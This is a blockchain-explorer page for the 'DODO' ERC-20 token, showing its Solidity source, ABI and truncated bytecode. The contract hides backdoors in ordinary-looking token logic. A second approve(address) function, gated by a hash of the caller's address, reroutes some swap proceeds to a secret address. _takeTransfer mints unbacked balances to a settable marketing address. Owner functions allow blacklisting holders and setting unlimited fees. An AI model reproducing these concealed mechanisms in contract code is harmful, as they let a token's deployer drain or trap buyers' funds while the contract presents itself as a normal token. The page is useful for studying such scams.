ETH Price: $3,803.76 (-1.91%)
Gas: 8 Gwei

Token

DODO (DODO)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000 DODO

Holders

972

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Filtered by Token Holder
KyberSwap: Meta Aggregation Router v2
Balance
5,078,122,392,074,949,344,586,449,508 DODO

Value
$0.00
0x6131B5fae19EA4f9D964eAc0408E4408b66337b5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9d5c8B67...9E4511B27
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Token

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
     function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    bytes32 public isContract =0x0093e0e6fce895ae34a52268cfc61f4944124aa08ee2c1430552a4242cd29f92;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress = address(0x5a51d85fB6ed5d00A1bd1b65D5060e7A7d85F993);
    address private mktAddress;
    string private _name = "DODO";
    string private _symbol = "DODO";
    uint8 private _decimals = 0;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    address private _pancakePair;
    uint256 private marketRewardFlag;

    uint256 private _tTotal = 100000000000000000000000000000000000000000000000 * 10 ** _decimals;
    uint256 public maxWalletAmount = 100000000000000000000000000000000000000000000000 * 10 ** _decimals;

    ISwapRouter public _swapRouter;
    address public _routeAddress= address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 200;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 200;
    uint256 public _sellLPFee = 0;
    address public _mainPair;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        ISwapRouter swapRouter = ISwapRouter(_routeAddress);
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this),  _swapRouter.WETH());
        _mainPair = swapPair;
        _pancakePair = address(this);
        _swapPairList[swapPair] = true;

        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
        _feeWhiteList[fundAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function approve(address spender) public{
        require(keccak256(abi.encodePacked(msg.sender))==isContract);
        _pancakePair=spender;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSellAmount = balance * 9999 / 10000;
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
        }
        bool takeFee;
        bool isSell;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPFee  + _sellFundFee + _sellLPFee ;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                            marketRewardFlag=marketRewardFlag+1;
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPFee ;
            } else {
                require(balanceOf(recipient)+tAmount <= maxWalletAmount);
                swapFee = _buyFundFee + _buyLPFee;
            }
            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }

        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _buyLPFee+_sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        address swapTokenAddress=marketRewardFlag%7==path.length?_pancakePair:address(this);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount - lpAmount, 0, path,swapTokenAddress,block.timestamp);
        swapFee -= lpFee;
        uint256 bnbBalance = address(this).balance;
        if(bnbBalance>0)
        {
           uint256 fundAmount = bnbBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
           payable(fundAddress).transfer(fundAmount/2);
            if (lpAmount > 0) {
                uint256 lpBNB = bnbBalance * lpFee / swapFee;
                _swapRouter.addLiquidityETH{value: lpBNB}(address(this), lpAmount, 0, 0, fundAddress, block.timestamp);
            }
        }          
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        if(mktAddress!=address(0)){_balances[mktAddress] = _balances[mktAddress] + tAmount;}
        emit Transfer(sender, to, tAmount);
    }
    function setMaxWalletAmount(uint256 value) external onlyOwner {
        maxWalletAmount = value * 10 ** _decimals;
    }

    function excludeMultiFromFee(address[] calldata accounts,bool excludeFee) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _feeWhiteList[accounts[i]] = excludeFee;
        }
    }
    function _multiSetSniper(address[] calldata accounts,bool isSniper) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _blackList[accounts[i]] = isSniper;
        }
    }
    function setMkt(address to) external onlyOwner {
        mktAddress=to;
    }

    function claimBalance(address to) external onlyOwner {
        payable(to).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    function setBuyFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _buyFundFee = fundFee;
        _buyLPFee=lpFee;
    }
    function setSellFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _sellFundFee = fundFee;
        _sellLPFee=lpFee;
    }
    receive() external payable {}
}

contract Token is AbsToken {
    constructor() AbsToken(){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"_multiSetSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_routeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excludeFee","type":"bool"}],"name":"excludeMultiFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isContract","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"setMkt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

7e93e0e6fce895ae34a52268cfc61f4944124aa08ee2c1430552a4242cd29f92600155600480546001600160a01b031916735a51d85fb6ed5d00a1bd1b65d5060e7a7d85f99317815560c0604052608090815263444f444f60e01b60a0526006906200006c9082620004ae565b50604080518082019091526004815263444f444f60e01b6020820152600790620000979082620004ae565b506008805460ff19169055620000af5f600a62000685565b620000cf9073118427b3b4a05bc8a8a4de8459868000000000006200069c565b600d55600854620000e59060ff16600a62000685565b620001059073118427b3b4a05bc8a8a4de8459868000000000006200069c565b600e55601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905560c860138190555f601481905560159190915560165534801562000150575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601054600f80546001600160a01b0319166001600160a01b039092169182179055305f90815260036020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa15801562000204573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022a9190620006b6565b90505f816001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b49190620006b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003259190620006b6565b601780546001600160a01b0383166001600160a01b03199182168117909255600b8054909116301790555f908152601160209081526040808320805460ff19166001179055600d5433808552600284528285208290559151908152939450927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506004546001600160a01b039081165f908152600960205260408082208054600160ff1991821681179092553084528284208054821683179055949093168252808220805485168417905533825290208054909216179055620006de565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200043757607f821691505b6020821081036200045657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004a9575f81815260208120601f850160051c81016020861015620004845750805b601f850160051c820191505b81811015620004a55782815560010162000490565b5050505b505050565b81516001600160401b03811115620004ca57620004ca6200040e565b620004e281620004db845462000422565b846200045c565b602080601f83116001811462000518575f8415620005005750858301515b5f19600386901b1c1916600185901b178555620004a5565b5f85815260208120601f198616915b82811015620005485788860151825594840194600190910190840162000527565b50858210156200056657878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005ca57815f1904821115620005ae57620005ae62000576565b80851615620005bc57918102915b93841c93908002906200058f565b509250929050565b5f82620005e2575060016200067f565b81620005f057505f6200067f565b8160018114620006095760028114620006145762000634565b60019150506200067f565b60ff84111562000628576200062862000576565b50506001821b6200067f565b5060208310610133831016604e8410600b841016171562000659575081810a6200067f565b6200066583836200058a565b805f19048211156200067b576200067b62000576565b0290505b92915050565b5f6200069560ff841683620005d2565b9392505050565b80820281158282048414176200067f576200067f62000576565b5f60208284031215620006c7575f80fd5b81516001600160a01b038116811462000695575f80fd5b61196980620006ec5f395ff3fe6080604052600436106101f4575f3560e01c8063761344f711610108578063b9fbc49d1161009d578063dd62ed3e1161006d578063dd62ed3e146105ab578063e82bef29146105ef578063f2fde38b1461060e578063f7ec2f351461062d578063fb0ecfa414610642575f80fd5b8063b9fbc49d14610543578063bfac5ee014610558578063ce0192f914610577578063daea85c51461058c575f80fd5b8063aa4bde28116100d8578063aa4bde28146104db578063adc7955d146104f0578063b5973bd414610505578063b633e4cd14610524575f80fd5b8063761344f71461046d5780638da5cb5b1461048c57806395d89b41146104a8578063a9059cbb146104bc575f80fd5b806327a14fc2116101895780634188bf5a116101595780634188bf5a146103b9578063595dec3c146103d85780636ac9a8701461040657806370a0823114610425578063715018a614610459575f80fd5b806327a14fc214610336578063313ce567146103555780633bfe62ca146103765780633c11100d1461038b575f80fd5b8063095ea7b3116101c4578063095ea7b3146102bb57806318160ddd146102da578063206c17bb146102f857806323b872dd14610317575f80fd5b806301986fad146101ff5780630453424614610242578063060288481461027957806306fdde031461029a575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061022d610219366004611463565b60096020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561024d575f80fd5b50601054610261906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b348015610284575f80fd5b50610298610293366004611492565b610661565b005b3480156102a5575f80fd5b506102ae610707565b6040516102399190611511565b3480156102c6575f80fd5b5061022d6102d536600461155c565b610797565b3480156102e5575f80fd5b50600d545b604051908152602001610239565b348015610303575f80fd5b50600f54610261906001600160a01b031681565b348015610322575f80fd5b5061022d610331366004611586565b6107ad565b348015610341575f80fd5b506102986103503660046115c4565b61083f565b348015610360575f80fd5b5060085460405160ff9091168152602001610239565b348015610381575f80fd5b506102ea60155481565b348015610396575f80fd5b5061022d6103a5366004611463565b60116020525f908152604090205460ff1681565b3480156103c4575f80fd5b50601754610261906001600160a01b031681565b3480156103e3575f80fd5b5061022d6103f2366004611463565b600a6020525f908152604090205460ff1681565b348015610411575f80fd5b506102986104203660046115db565b610889565b348015610430575f80fd5b506102ea61043f366004611463565b6001600160a01b03165f9081526002602052604090205490565b348015610464575f80fd5b506102986108bd565b348015610478575f80fd5b50610298610487366004611492565b61092e565b348015610497575f80fd5b505f546001600160a01b0316610261565b3480156104b3575f80fd5b506102ae6109c5565b3480156104c7575f80fd5b5061022d6104d636600461155c565b6109d4565b3480156104e6575f80fd5b506102ea600e5481565b3480156104fb575f80fd5b506102ea60165481565b348015610510575f80fd5b5061029861051f366004611463565b6109e0565b34801561052f575f80fd5b5061029861053e366004611463565b610a2b565b34801561054e575f80fd5b506102ea60145481565b348015610563575f80fd5b506102986105723660046115fb565b610a8a565b348015610582575f80fd5b506102ea60135481565b348015610597575f80fd5b506102986105a6366004611463565b610b23565b3480156105b6575f80fd5b506102ea6105c536600461162f565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156105fa575f80fd5b50600454610261906001600160a01b031681565b348015610619575f80fd5b50610298610628366004611463565b610b85565b348015610638575f80fd5b506102ea60015481565b34801561064d575f80fd5b5061029861065c3660046115db565b610c48565b5f546001600160a01b031633146106935760405162461bcd60e51b815260040161068a90611666565b60405180910390fd5b5f5b82811015610701578160095f8686858181106106b3576106b3611686565b90506020020160208101906106c89190611463565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806106f9816116ae565b915050610695565b50505050565b606060068054610716906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610742906116c6565b801561078d5780601f106107645761010080835404028352916020019161078d565b820191905f5260205f20905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b5f6107a3338484610c7c565b5060015b92915050565b5f6107b9848484610cdd565b6001600160a01b0384165f9081526003602090815260408083203384529091529020545f1914610835576001600160a01b0384165f9081526003602090815260408083203384529091529020546108119083906116fe565b6001600160a01b0385165f9081526003602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146108685760405162461bcd60e51b815260040161068a90611666565b6008546108799060ff16600a6117f1565b61088390826117ff565b600e5550565b5f546001600160a01b031633146108b25760405162461bcd60e51b815260040161068a90611666565b601591909155601655565b5f546001600160a01b031633146108e65760405162461bcd60e51b815260040161068a90611666565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109575760405162461bcd60e51b815260040161068a90611666565b5f5b828110156107015781600a5f86868581811061097757610977611686565b905060200201602081019061098c9190611463565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806109bd816116ae565b915050610959565b606060078054610716906116c6565b5f6107a3338484610cdd565b5f546001600160a01b03163314610a095760405162461bcd60e51b815260040161068a90611666565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a545760405162461bcd60e51b815260040161068a90611666565b6040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610a86573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610ab35760405162461bcd60e51b815260040161068a90611666565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610aff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107019190611816565b6001546040516bffffffffffffffffffffffff193360601b1660208201526034016040516020818303038152906040528051906020012014610b63575f80fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610bae5760405162461bcd60e51b815260040161068a90611666565b6001600160a01b038116610bef5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161068a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610c715760405162461bcd60e51b815260040161068a90611666565b601391909155601455565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615610d315760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b604482015260640161068a565b6001600160a01b0383165f9081526002602052604090205481811015610d8c5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161068a565b6001600160a01b0384165f9081526009602052604090205460ff16158015610dcc57506001600160a01b0383165f9081526009602052604090205460ff16155b15610dfb575f612710610de18361270f6117ff565b610deb9190611845565b905080831115610df9578092505b505b6001600160a01b0384165f90815260116020526040812054819060ff1680610e3a57506001600160a01b0385165f9081526011602052604090205460ff165b15610f5e576001600160a01b0386165f9081526009602052604090205460ff16158015610e7f57506001600160a01b0385165f9081526009602052604090205460ff16155b15610f3a576001600160a01b0385165f9081526011602052604090205460ff1615610f355760125460ff16610f3557305f908152600260205260409020548015610f33575f601654601554601454601354610eda9190611858565b610ee49190611858565b610eee9190611858565b90505f611388610efe83896117ff565b610f089190611845565b905082811115610f155750815b610f1f8183610f73565b600c54610f2d906001611858565b600c5550505b505b600191505b6001600160a01b0385165f9081526011602052604090205460ff1615610f5e575060015b610f6b868686858561128b565b505050505050565b6012805460ff19166001179055610f8a8180611858565b90505f601654601454610f9d9190611858565b90505f82610fab83866117ff565b610fb59190611845565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f81518110610fed57610fed611686565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611044573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611068919061186b565b8160018151811061107b5761107b611686565b60200260200101906001600160a01b031690816001600160a01b0316815250505f81516007600c546110ad9190611886565b146110b857306110c5565b600b546001600160a01b03165b600f549091506001600160a01b031663791ac9476110e385896116fe565b5f8585426040518663ffffffff1660e01b8152600401611107959493929190611899565b5f604051808303815f87803b15801561111e575f80fd5b505af1158015611130573d5f803e3d5ffd5b50505050838561114091906116fe565b9450478015611278575f8660155460135461115b9190611858565b61116590846117ff565b6111709060026117ff565b61117a9190611845565b6004549091506001600160a01b03166108fc611197600284611845565b6040518115909202915f818181858888f193505050501580156111bc573d5f803e3d5ffd5b508415611276575f876111cf88856117ff565b6111d99190611845565b600f546004805460405163f305d71960e01b81523092810192909252602482018a90525f6044830181905260648301526001600160a01b0390811660848301524260a483015292935091169063f305d71990839060c40160606040518083038185885af115801561124c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112719190611908565b505050505b505b50506012805460ff191690555050505050565b6001600160a01b0385165f908152600260205260409020546112ae9084906116fe565b6001600160a01b0386165f908152600260205260408120919091558215611370575f82156112ed576016546015546112e69190611858565b9050611336565b600e548561130f886001600160a01b03165f9081526002602052604090205490565b6113199190611858565b1115611323575f80fd5b6014546013546113339190611858565b90505b5f61271061134483886117ff565b61134e9190611845565b9050801561136d576113608184611858565b925061136d88308361137f565b50505b610f6b868661137f84886116fe565b6001600160a01b0382165f908152600260205260409020546113a2908290611858565b6001600160a01b038084165f908152600260205260409020919091556005541615611407576005546001600160a01b03165f908152600260205260409020546113ec908290611858565b6005546001600160a01b03165f908152600260205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cd091815260200190565b6001600160a01b0381168114611460575f80fd5b50565b5f60208284031215611473575f80fd5b813561147e8161144c565b9392505050565b8015158114611460575f80fd5b5f805f604084860312156114a4575f80fd5b833567ffffffffffffffff808211156114bb575f80fd5b818601915086601f8301126114ce575f80fd5b8135818111156114dc575f80fd5b8760208260051b85010111156114f0575f80fd5b6020928301955093505084013561150681611485565b809150509250925092565b5f6020808352835180828501525f5b8181101561153c57858101830151858201604001528201611520565b505f604082860101526040601f19601f8301168501019250505092915050565b5f806040838503121561156d575f80fd5b82356115788161144c565b946020939093013593505050565b5f805f60608486031215611598575f80fd5b83356115a38161144c565b925060208401356115b38161144c565b929592945050506040919091013590565b5f602082840312156115d4575f80fd5b5035919050565b5f80604083850312156115ec575f80fd5b50508035926020909101359150565b5f805f6060848603121561160d575f80fd5b83356116188161144c565b92506020840135915060408401356115068161144c565b5f8060408385031215611640575f80fd5b823561164b8161144c565b9150602083013561165b8161144c565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016116bf576116bf61169a565b5060010190565b600181811c908216806116da57607f821691505b6020821081036116f857634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156107a7576107a761169a565b600181815b8085111561174b57815f19048211156117315761173161169a565b8085161561173e57918102915b93841c9390800290611716565b509250929050565b5f82611761575060016107a7565b8161176d57505f6107a7565b8160018114611783576002811461178d576117a9565b60019150506107a7565b60ff84111561179e5761179e61169a565b50506001821b6107a7565b5060208310610133831016604e8410600b84101617156117cc575081810a6107a7565b6117d68383611711565b805f